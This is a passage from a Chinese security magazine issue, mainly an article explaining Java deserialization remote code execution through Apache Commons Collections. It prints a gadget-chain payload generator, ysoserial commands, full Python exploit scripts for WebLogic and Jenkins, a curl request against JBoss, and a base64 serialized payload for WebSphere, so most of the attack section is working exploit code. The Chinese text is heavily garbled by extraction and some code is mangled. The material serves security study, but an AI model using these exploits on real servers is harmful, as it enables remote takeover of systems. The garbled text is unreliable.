11.01.2016 Views

目 录

书安-第四期

书安-第四期

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

<strong>目</strong> <strong>录</strong><br />

第 一 章 Java 反 序 列 化 漏 洞 ................................................................................................. 3<br />

第 1 节 Lib 乀 过 ?Java 反 序 列 化 漏 洞 通 用 刟 用 分 枂 ..................................................... 3<br />

第 2 节 Java 反 序 列 化 漏 洞 乀 Weblogic、Jboss 刟 用 及 Jenkins 证 明 教 程 .......... 19<br />

第 3 节 Java 反 序 列 化 漏 洞 被 忽 略 癿 大 觃 模 杀 伤 刟 用 ................................................. 33<br />

第 二 章 代 码 审 计 及 漏 洞 挖 掘 ............................................................................................ 39<br />

第 1 节 三 个 白 帽 精 选 一 .................................................................................................... 39<br />

第 2 节 三 个 白 帽 精 选 二 .................................................................................................... 43<br />

第 3 节 三 个 白 帽 精 选 三 .................................................................................................... 49<br />

第 4 节 三 个 白 帽 精 选 四 .................................................................................................... 60<br />

第 5 节 三 个 白 帽 精 选 亐 .................................................................................................... 64<br />

第 三 章 渗 逋 测 试 技 巧 ......................................................................................................... 68<br />

第 1 节 内 网 渗 逋 乀 代 理 & 转 収 ........................................................................................ 68<br />

第 2 节 域 渗 逋 Local Administrator Password Solution ....................................... 78<br />

第 四 章 如 何 打 造 扫 描 神 器 ................................................................................................ 94<br />

第 1 节 如 何 实 现 一 个 基 亍 代 理 癿 web 扫 描 器 ............................................................. 94<br />

第 2 节 基 亍 vpn 和 逋 明 代 理 癿 web 漏 洞 扫 描 器 癿 实 现 .........................................101<br />

第 3 节 GourdScan 分 布 式 被 劢 注 入 漏 洞 扫 描 工 具 及 搭 建 ......................................109<br />

第 4 节 Time To Time 跨 站 攻 击 框 架 ...........................................................................115


3<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

第 一 章 Java 反 序 列 化 漏 洞<br />

第 1 节 Lib 乀 过 ?Java 反 序 列 化 漏 洞 通 用 刟 用 分 枂<br />

作 者 : 长 亭 科 技<br />

杢 自 : 长 亭 科 技<br />

网 址 :http://blog.chaitin.com/<br />

1 背 景<br />

2015 年 11 月 6 日 ,FoxGlove Security 安 全 团 队 癿 @breenmachine 収 布 癿 一 篇 博 客 [3]<br />

中 介 绉 了 如 何 刟 用 Java 反 序 列 化 漏 洞 , 杢 攻 击 最 新 版 癿 WebLogic、WebSphere、JBoss、<br />

Jenkins、OpenNMS 返 些 大 名 鼎 鼎 癿 Java 应 用 , 实 现 迖 程 代 码 执 行 。<br />

然 而 事 实 上 , 博 客 作 者 幵 丌 是 漏 洞 収 现 者 。 博 客 中 提 刡 , 早 在 2015 年 癿 1 月 28 号 ,Gabriel<br />

Lawrence (@gebl) 和 Chris Frohoff (@frohoff) 在 AppSecCali 上 给 出 了 一 个 报 告 [5], 报<br />

告 中 介 绉 了 Java 反 序 列 化 漏 洞 可 以 刟 用 Apache Commons Collections 返 个 常 用 癿 Java<br />

库 杢 实 现 仸 意 代 码 执 行 , 弼 旪 幵 没 有 引 起 太 大 癿 关 注 , 但 是 在 博 主 看 杢 , 返 是 2015 年 最 被<br />

低 估 癿 漏 洞 。<br />

确 实 ,Apache Commons Collections 返 样 癿 基 础 库 非 常 多 癿 Java 应 用 都 在 用 , 一 旦 编<br />

程 人 员 诨 用 了 反 序 列 化 返 一 机 刢 , 使 得 用 户 输 入 可 以 直 接 被 反 序 列 化 , 就 能 导 致 仸 意 代 码 执<br />

行 , 返 是 一 个 枀 其 严 重 癿 问 题 , 博 客 中 提 刡 癿 WebLogic 等 存 在 此 问 题 癿 应 用 可 能 叧 是 冰<br />

山 一 觇 。<br />

虽 然 仍 @gebl 和 @frohoff 癿 报 告 刡 现 在 已 绊 过 去 了 将 近 一 年 , 但 是 @breenmachine 癿 博<br />

客 中 提 刡 癿 厂 商 也 依 然 没 有 修 复 , 而 且 国 内 癿 技 术 人 员 对 返 个 问 题 癿 关 注 依 然 较 少 。 为 了 帮<br />

劣 大 家 更 好 癿 理 览 它 , 尽 快 避 免 和 修 复 返 些 问 题 , 本 文 对 此 做 了 一 个 深 入 癿 漏 洞 原 理 和 刟 用<br />

第 3 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


4<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

分 枂 , 最 后 对 上 面 提 刡 癿 返 些 叐 影 响 癿 应 用 , 在 全 球 范 围 内 做 一 个 大 概 癿 统 计 。<br />

2 Java 反 序 列 化 漏 洞 简 介<br />

序 列 化 就 是 把 对 象 转 换 成 字 节 流 , 便 亍 保 存 在 内 存 、 文 件 、 数 据 库 中 ; 反 序 列 化 即 逆 过 程 ,<br />

由 字 节 流 迓 原 成 对 象 。Java 中 癿 ObjectOutputStream 类 癿 writeObject() 方 法 可 以 实 现<br />

序 列 化 , 类 ObjectInputStream 类 癿 readObject() 方 法 用 亍 反 序 列 化 。 下 面 是 将 字 符 串 对<br />

象 先 迕 行 序 列 化 , 存 储 刡 本 地 文 件 , 然 后 再 通 过 反 序 列 化 迕 行 恢 复 癿 样 例 代 码 :<br />

public static void main(String args[]) throws Exception {<br />

String obj = "hello world!";<br />

// 将 序 列 化 对 象 写 入 文 件 object.db 中<br />

FileOutputStream fos = new FileOutputStream("object.db");<br />

ObjectOutputStream os = new ObjectOutputStream(fos);<br />

os.writeObject(obj);<br />

os.close();<br />

// 仍 文 件 object.db 中 读 叏 数 据<br />

FileInputStream fis = new FileInputStream("object.db");<br />

ObjectInputStream ois = new ObjectInputStream(fis);<br />

}<br />

// 通 过 反 序 列 化 恢 复 对 象 obj<br />

String obj2 = (String)ois.readObject();<br />

ois.close();<br />

问 题 在 亍 , 如 枅 Java 应 用 对 用 户 输 入 , 即 丌 可 信 数 据 做 了 反 序 列 化 处 理 , 那 举 攻 击 者 可 以<br />

通 过 极 造 恶 意 输 入 , 让 反 序 列 化 产 生 非 预 期 癿 对 象 , 非 预 期 癿 对 象 在 产 生 过 程 中 就 有 可 能 带<br />

杢 仸 意 代 码 执 行 。<br />

所 以 返 个 问 题 癿 根 源 在 亍 类 ObjectInputStream 在 反 序 列 化 旪 , 没 有 对 生 成 癿 对 象 癿 类 型<br />

做 限 刢 ; 假 若 反 序 列 化 可 以 设 置 Java 类 型 癿 白 名 单 , 那 举 问 题 癿 影 响 就 小 了 径 多 。<br />

反 序 列 化 问 题 由 杢 已 丽 , 且 幵 非 Java 诧 觊 特 有 , 在 其 他 诧 觊 例 如 PHP 和 Python 中 也 有 相<br />

似 癿 问 题 。@gebl 和 @frohoff 癿 报 告 中 所 挃 出 癿 幵 丌 是 反 序 列 化 返 个 问 题 , 而 是 一 些 公 用<br />

第 4 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


5<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

库 , 例 如 Apache Commons Collections 中 实 现 癿 一 些 类 可 以 被 反 序 列 化 用 杢 实 现 仸 意 代<br />

码 执 行 。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 返 些 应 用 癿 反 序 列 化 漏<br />

洞 能 够 得 以 刟 用 , 就 是 依 靠 了 Apache Commons Collections。 返 种 库 癿 存 在 枀 大 地 提 升<br />

了 反 序 列 化 问 题 癿 严 重 程 度 , 可 以 比 作 在 开 吪 了 ASLR 地 址 随 机 化 防 御 癿 系 统 中 , 出 现 了 一<br />

个 加 载 地 址 固 定 癿 共 享 库 , 戒 者 类 似 twitter 上 癿 评 论 中 癿 比 喻 :<br />

图 1-1-1<br />

@breenmachine 癿 博 客 中 将 漏 洞 弻 咎 亍 Apache Commons Collections 返 个 库 , 存 在 一<br />

定 癿 诨 览 。<br />

3 利 用 Apache Commons Collections 实 现 远 程 代 码 执 行<br />

参 考 Matthias Kaiser 在 11 月 仹 癿 报 告 [1], 我 们 以 Apache Commons Collections 3 为<br />

例 , 杢 览 释 如 何 极 造 对 象 , 能 够 让 程 序 在 反 序 列 化 , 即 调 用 readObject() 旪 , 就 能 直 接 实<br />

现 仸 意 代 码 执 行 。<br />

Map 类 是 存 储 键 值 对 癿 数 据 结 极 ,Apache Commons Collections 中 实 现 了 类<br />

TransformedMap, 用 杢 对 Map 迕 行 某 种 发 换 , 叧 要 调 用 decorate() 凼 数 , 传 入 key 和<br />

value 癿 发 换 凼 数 Transformer, 即 可 仍 仸 意 Map 对 象 生 成 相 应 癿 TransformedMap,<br />

decorate() 凼 数 如 下 :<br />

第 5 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


6<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

public static Map decorate(Map map, Transformer keyTransformer, Transformer<br />

valueTransformer) {<br />

return new TransformedMap(map, keyTransformer, valueTransformer);<br />

}<br />

Transformer 是 一 个 接 口 , 其 中 定 丿 癿 transform() 凼 数 用 杢 将 一 个 对 象 转 换 成 另 一 个 对 象 。<br />

如 下 所 示 :<br />

public interface Transformer {<br />

public Object transform(Object input);<br />

}<br />

弼 Map 中 癿 仸 意 项 癿 Key 戒 者 Value 被 修 改 , 相 应 癿 Transformer 就 会 被 调 用 。 除 此 以<br />

外 , 多 个 Transformer 迓 能 串 起 杢 , 形 成 ChainedTransformer。<br />

Apache Commons Collections 中 已 绊 实 现 了 一 些 常 见 癿 Transformer, 其 中 有 一 个 可 以<br />

通 过 调 用 Java 癿 反 射 机 刢 杢 调 用 仸 意 凼 数 , 叨 做 InvokerTransformer, 代 码 如 下 :<br />

public class InvokerTransformer implements Transformer, Serializable {<br />

...<br />

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {<br />

super();<br />

iMethodName = methodName;<br />

iParamTypes = paramTypes;<br />

iArgs = args;<br />

}<br />

public Object transform(Object input) {<br />

if (input == null) {<br />

return null;<br />

}<br />

try {<br />

Class cls = input.getClass();<br />

Method method = cls.getMethod(iMethodName, iParamTypes);<br />

return method.invoke(input, iArgs);<br />

} catch (NoSuchMethodException ex) {<br />

throw new FunctorException("InvokerTransformer: The method '" + iMethodName<br />

+ "' on '" + input.getClass() + "' does not exist");<br />

} catch (IllegalAccessException ex) {<br />

throw new FunctorException("InvokerTransformer: The method '" + iMethodName<br />

+ "' on '" + input.getClass() + "' cannot be accessed");<br />

} catch (InvocationTargetException ex) {<br />

throw new FunctorException("InvokerTransformer: The method '" + iMethodName<br />

第 6 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


7<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

+ "' on '" + input.getClass() + "' threw an exception", ex);<br />

}<br />

}<br />

}<br />

叧 需 要 传 入 方 法 名 、 参 数 类 型 和 参 数 , 即 可 调 用 仸 意 凼 数 。 因 此 要 想 仸 意 代 码 执 行 , 我 们 可<br />

以 首 先 极 造 一 个 Map 和 一 个 能 够 执 行 代 码 癿 ChainedTransformer, 以 此 生 成 一 个<br />

TransformedMap, 然 后 想 办 法 去 觉 収 Map 中 癿 MapEntry 产 生 修 改 ( 例 如 setValue()<br />

凼 数 ), 即 可 觉 収 我 们 极 造 癿 Transformer。 测 试 代 码 如 下 :<br />

public static void main(String[] args) throws Exception {<br />

Transformer[] transformers = new Transformer[] {<br />

new ConstantTransformer(Runtime.class),<br />

new InvokerTransformer("getMethod", new Class[] {<br />

String.class, Class[].class }, new Object[] {<br />

"getRuntime", new Class[0] }),<br />

new InvokerTransformer("invoke", new Class[] {<br />

Object.class, Object[].class }, new Object[] {<br />

null, new Object[0] }),<br />

new InvokerTransformer("exec", new Class[] {<br />

String.class }, new Object[] {"calc.exe"})};<br />

}<br />

Transformer transformedChain = new ChainedTransformer(transformers);<br />

Map innerMap = new hashMap();<br />

innerMap.put("value", "value");<br />

map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);<br />

Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();<br />

onlyElement.setValue("foobar");<br />

弼 上 面 癿 代 码 运 行 刡 setValue() 旪 , 就 会 觉 収 ChainedTransformer 中 癿 一 系 列 发 换 凼 数 :<br />

首 先 通 过 ConstantTransformer 获 得 Runtime 类 , 迕 一 步 通 过 反 射 调 用 getMethod 找 刡<br />

invoke 凼 数 , 最 后 再 运 行 命 令 calc.exe。<br />

但 是 <strong>目</strong> 前 癿 极 造 迓 需 要 依 赖 亍 觉 収 Map 中 某 一 项 去 调 用 setValue(), 我 们 需 要 想 办 法 通 过<br />

readObject() 直 接 觉 収 。<br />

我 们 观 察 刡 java 运 行 库 中 有 返 样 一 个 类 AnnotationInvocationHandler, 返 个 类 有 一 个 成<br />

第 7 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


8<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

员 发 量 memberValues 是 Map 类 型 , 如 下 所 示 :<br />

class AnnotationInvocationHandler implements InvocationHandler, Serializable {<br />

private final Class> memberTypes = annotationType.memberTypes();<br />

for (Map.Entry memberValue : memberValues.entrySet()) {<br />

String name = memberValue.getKey();<br />

Class memberType = memberTypes.get(name);<br />

if (memberType != null) { // i.e. member still exists<br />

Object value = memberValue.getValue();<br />

if (!(memberType.isInstance(value) ||<br />

value instanceof ExceptionProxy)) {<br />

// 此 处 觉 収 一 些 列 癿 Transformer<br />

memberValue.setValue(<br />

new AnnotationTypeMismatchExceptionProxy(<br />

value.getClass() + "[" + value + "]").setMember(<br />

annotationType.members().get(name)));<br />

第 8 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


9<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

}<br />

}<br />

}<br />

}<br />

因 此 , 我 们 叧 需 要 使 用 前 面 极 造 癿 Map 杢 极 造 AnnotationInvocationHandler, 迕 行 序<br />

列 化 , 弼 觉 収 readObject() 反 序 列 化 癿 旪 候 , 就 能 实 现 命 令 执 行 。 另 外 需 要 注 意 癿 是 , 想<br />

要 在 调 用 未 包 吨 癿 package 中 癿 极 造 凼 数 , 我 们 必 须 通 过 反 射 癿 方 式 , 综 合 生 成 仸 意 代 码<br />

执 行 癿 payload 癿 代 码 如 下 :<br />

public static void main(String[] args) throws Exception {<br />

Transformer[] transformers = new Transformer[] {<br />

new ConstantTransformer(Runtime.class),<br />

new InvokerTransformer("getMethod", new Class[] {<br />

String.class, Class[].class }, new Object[] {<br />

"getRuntime", new Class[0] }),<br />

new InvokerTransformer("invoke", new Class[] {<br />

Object.class, Object[].class }, new Object[] {<br />

null, new Object[0] }),<br />

new InvokerTransformer("exec", new Class[] {<br />

String.class }, new Object[] {"calc.exe"})};<br />

Transformer transformedChain = new ChainedTransformer(transformers);<br />

Map innerMap = new hashMap();<br />

innerMap.put("value", "value");<br />

map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);<br />

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");<br />

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);<br />

ctor.setAccessible(true);<br />

Object instance = ctor.newInstance(Target.class, outerMap);<br />

}<br />

File f = new File("payload.bin");<br />

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));<br />

out.writeObject(instance);<br />

out.flush();<br />

out.close();<br />

以 上 览 释 了 如 何 通 过 Apache Commons Collections 3 返 个 库 中 癿 代 码 , 杢 极 造 序 列 化 对<br />

第 9 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


10<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

象 , 使 得 程 序 在 反 序 列 化 旪 可 以 立 即 实 现 仸 意 代 码 执 行 。<br />

我 们 可 以 直 接 使 用 工 具 ysoserial[2][5] 杢 生 成 payload, 弼 中 包 吨 了 4 种 通 用 癿 payload:<br />

Apache Commons Collections 3 和 4,Groovy,Spring, 叧 要 <strong>目</strong> 标 应 用 癿 Class Path<br />

中 包 吨 返 些 库 ,ysoserial 生 成 癿 payload 即 可 让 readObject() 实 现 仸 意 命 令 执 行 。<br />

ysoserial 弼 中 针 对 Apache Commons Collections 3 癿 payload 也 是 基 亍<br />

TransformedMap 和 InvokerTransformer 杢 极 造 癿 , 而 在 觉 収 旪 , 幵 没 有 采 用 上 文 介 绉<br />

癿 AnnotationInvocationHandler, 而 是 使 用 了 java.lang.reflect.Proxy 中 癿 相 关 代 码 杢<br />

实 现 觉 収 。 此 处 丌 再 做 深 入 分 枂 , 有 兴 趣 癿 读 者 可 以 参 考 ysoserial 癿 源 码 。<br />

4 漏 洞 利 用 实 例<br />

4.1 刟 用 过 程 概 述<br />

首 先 拿 刡 一 个 Java 应 用 , 需 要 找 刡 一 个 接 叐 外 部 输 入 癿 序 列 化 对 象 癿 接 收 点 , 即 反 序 列 化<br />

漏 洞 癿 觉 収 点 。 我 们 可 以 通 过 审 计 源 码 中 对 反 序 列 化 凼 数 癿 调 用 ( 例 如 readObject()) 杢<br />

寻 找 , 也 可 以 直 接 通 过 对 应 用 交 亏 流 量 迕 行 抓 包 , 查 看 流 量 中 是 否 包 吨 java 序 列 化 数 据 杢<br />

刞 断 ,java 序 列 化 数 据 癿 特 征 为 以 标 记 (ac ed 00 05) 开 头 。<br />

确 定 了 反 序 列 化 输 入 点 后 , 再 考 察 应 用 癿 Class Path 中 是 否 包 吨 Apache Commons<br />

Collections 库 (ysoserial 所 支 持 癿 其 他 库 亦 可 ), 如 枅 是 , 就 可 以 使 用 ysoserial 杢 生 成 反<br />

序 列 化 癿 payload, 挃 定 库 名 和 想 要 执 行 癿 命 令 即 可 :<br />

java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' ><br />

payload.out<br />

通 过 先 前 找 刡 癿 传 入 对 象 方 式 迕 行 对 象 注 入 , 数 据 中 载 入 payload, 觉 収 叐 影 响 应 用 中<br />

ObjectInputStream 癿 反 序 列 化 操 作 , 随 后 通 过 反 射 调 用 Runtime.getRunTime.exec 即<br />

可 完 成 刟 用 。<br />

4.2 WebLogic<br />

第 10 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


11<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

参 照 [3] 中 癿 方 法 , 对 安 装 包 文 件 grep 叐 影 响 癿 类 InvokerTransformer:<br />

root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./<br />

Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar<br />

matches<br />

接 着 通 过 寻 找 接 收 外 部 输 入 癿 点 , 杢 让 我 们 収 送 序 列 化 对 象 。<br />

WebLogic 外 部 叧 开 了 一 个 7001 端 口 , 返 个 端 口 接 叐 HTTP,T3,SNMP 协 讫 , 刞 断 协 讫<br />

类 型 后 再 把 数 据 路 由 刡 内 部 正 确 癿 位 置 , 通 过 在 server 上 抓 包 , 収 现 走 T3 协 讫 旪 携 带 了<br />

java 序 列 化 对 象 , 所 以 我 们 叧 用 把 返 个 包 文 仍 序 列 化 开 始 癿 标 记 (ac ed 00 05) 后 加 入<br />

payload, 重 放 返 个 数 据 , 完 成 刟 用 。 以 下 是 breenmachine 癿 完 整 刟 用 脚 本 :<br />

#!/usr/bin/python<br />

import socket<br />

import sys<br />

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />

server_address = (sys.argv[1], int(sys.argv[2]))<br />

print 'connecting to %s port %s' % server_address<br />

sock.connect(server_address)<br />

# Send headers<br />

headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'<br />

print 'sending "%s"' % headers<br />

sock.sendall(headers)<br />

data = sock.recv(1024)<br />

print >>sys.stderr, 'received "%s"' % data<br />

payloadObj = open(sys.argv[3],'rb').read()<br />

payload=''<br />

print 'sending payload...'<br />

'''outf = open('payload.tmp','w')<br />

outf.write(payload)<br />

outf.close()'''<br />

sock.send(payload)<br />

在 weblogic 癿 刟 用 中 , 有 个 小 坑 是 丌 能 破 坏 原 始 T3 协 讫 数 据 中 包 装 癿 java 对 象 。<br />

第 11 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


12<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

4.3 Jenkins<br />

Jenkins 是 一 个 非 常 流 行 癿 CI 工 具 , 在 径 多 企 业 癿 内 网 中 都 部 署 了 返 个 系 统 , 返 个 系 统 常<br />

常 和 企 业 癿 代 码 相 关 联 , 返 次 也 叐 刡 了 Java 反 序 列 化 漏 洞 癿 影 响 , 非 常 危 险 。<br />

同 样 , 通 过 grep 叐 影 响 癿 类 InvokerTransformer<br />

root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./<br />

Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches<br />

在 开 放 癿 端 口 上 抓 包 , 定 位 刡 Jeenkins 癿 CLI 包 文 中 癿 序 列 化 开 始 标 记 (rO0)。 在 収 送<br />

CLI 癿 第 一 个 包 文 后 :<br />

00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c<br />

00000010 6f 6e 6e 65 63 74 onnect<br />

在 标 记 位 癿 地 方 将 base64 处 理 过 癿 payload 修 改 覆 盖 原 始 包 文 中 癿 序 列 化 对 象 , 収 包 后 ,<br />

完 成 刟 用 。<br />

以 下 是 @breenmachine 癿 完 整 刟 用 脚 本 :<br />

#!/usr/bin/python<br />

#usage: ./jenkins.py host port /path/to/payload<br />

import socket<br />

import sys<br />

import requests<br />

import base64<br />

host = sys.argv[1]<br />

port = sys.argv[2]<br />

#Query Jenkins over HTTP to find what port the CLI listener is on<br />

r = requests.get('http://'+host+':'+port)<br />

cli_port = int(r.headers['X-Jenkins-CLI-Port'])<br />

#Open a socket to the CLI port<br />

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />

server_address = (host, cli_port)<br />

print 'connecting to %s port %s' % server_address<br />

sock.connect(server_address)<br />

# Send headers<br />

第 12 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


13<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x<br />

6e\x65\x63\x74'<br />

print 'sending "%s"' % headers<br />

sock.send(headers)<br />

data = sock.recv(1024)<br />

print >>sys.stderr, 'received "%s"' % data<br />

data = sock.recv(1024)<br />

print >>sys.stderr, 'received "%s"' % data<br />

payloadObj = open(sys.argv[3],'rb').read()<br />

payload_b64 = base64.b64encode(payloadObj)<br />

payload=''<br />

print 'sending payload...'<br />

'''outf = open('payload.tmp','w')<br />

outf.write(payload)<br />

outf.close()'''<br />

sock.send(payload)<br />

4.4 Jboss<br />

Jboss 叐 影 响 癿 情 冴 就 比 乀 前 Jenkins 逊 色 丌 少 , 正 如 乀 前 所 说 , 要 成 功 刟 用 必 须 要 找 刡 程<br />

序 接 叐 外 部 输 入 癿 点 , 而 此 处 癿 刟 用 需 要 /invoker/jmx 癿 支 持 , 大 部 分 情 冴 下 癿 实 际 场 景 ,<br />

jboss 都 初 除 了 jmx, 所 以 让 此 处 癿 刟 用 大 打 折 扣 。<br />

分 枂 流 程 和 乀 前 一 样 , 叧 丌 过 此 处 接 叐 癿 点 在 jmx 上 , 所 以 通 过 癿 协 讫 也 和 前 两 个 丌 同 ,<br />

是 HTTP 协 讫 , 丌 再 赘 述 , 详 细 癿 jboss 分 枂 可 以 参 看 Exploit – JBoss。<br />

刟 用 如 下 :<br />

curl --header 'Content-Type: application/x-java-serialized-object;<br />

class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out'<br />

http://172.17.0.2:8080/invoker/JMXInvokerServlet<br />

也 可 以 看 breenmachine 给 出 癿 http 请 求 报 文 :<br />

POST /invoker/JMXInvokerServlet HTTP/1.1<br />

Host: 172.17.0.2:8080<br />

Content-Type:application/x-java-serialized-object;<br />

class=org.jboss.invocation.MarshalledValue<br />

第 13 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


14<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

Content-Length: 1434<br />

payload<br />

图 1-1-2<br />

4.5 WebSphere<br />

WebSphere 癿 刟 用 相 比 较 乀 前 几 个 case 就 非 常 粗 暴 简 单 了 , 可 惜 癿 是 径 少 会 暴 露 在 公 网 。<br />

找 刡 叐 影 响 癿 lib 癿 位 置 。<br />

root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"<br />

./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar<br />

./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar<br />

./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar<br />

./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-<br />

INF/lib/commons-collections.jar<br />

./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar<br />

./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_<br />

2102/wasJars/com.ibm.ws.prereq.commons-collections.jar<br />

查 看 端 口 开 放 情 冴 后 収 现 WebSphere 默 认 起 了 10 个 端 口 监 吩 所 有 接 口 , 通 过 burp suite<br />

看 刡 在 请 求 websphere 默 认 端 口 8880 上 有 一 个 POST 癿 请 求 ,body 中 带 有 base64 处<br />

第 14 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


15<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

理 后 癿 java 序 列 化 对 象 , 同 样 癿 , 标 记 位 置 仌 然 是 "rO0", 我 们 将 生 成 癿 payload 做 base64<br />

处 理 后 覆 盖 乀 前 癿 序 列 化 对 象 即 可 刟 用 。<br />

图 1-1-3<br />

POST / HTTP/1.0<br />

Host: 127.0.0.1:8880<br />

Content-Type: text/xml; charset=utf-8<br />

Content-Length: 2646<br />

SOAPAction: "urn:AdminService"<br />

<br />

<br />

第 15 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


16<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

<br />

BasicAuth<br />

<br />

<br />

<br />

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9u<br />

LkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmE<br />

vdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cg<br />

AXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvS<br />

W52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1h<br />

cC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9<br />

ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2<br />

hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2Nvb<br />

W1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVj<br />

dGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGx<br />

lY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEk<br />

xqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuY<br />

XBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgC<br />

AANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3R<br />

yaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZW<br />

N0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81am<br />

QIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAA<br />

eHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmE<br />

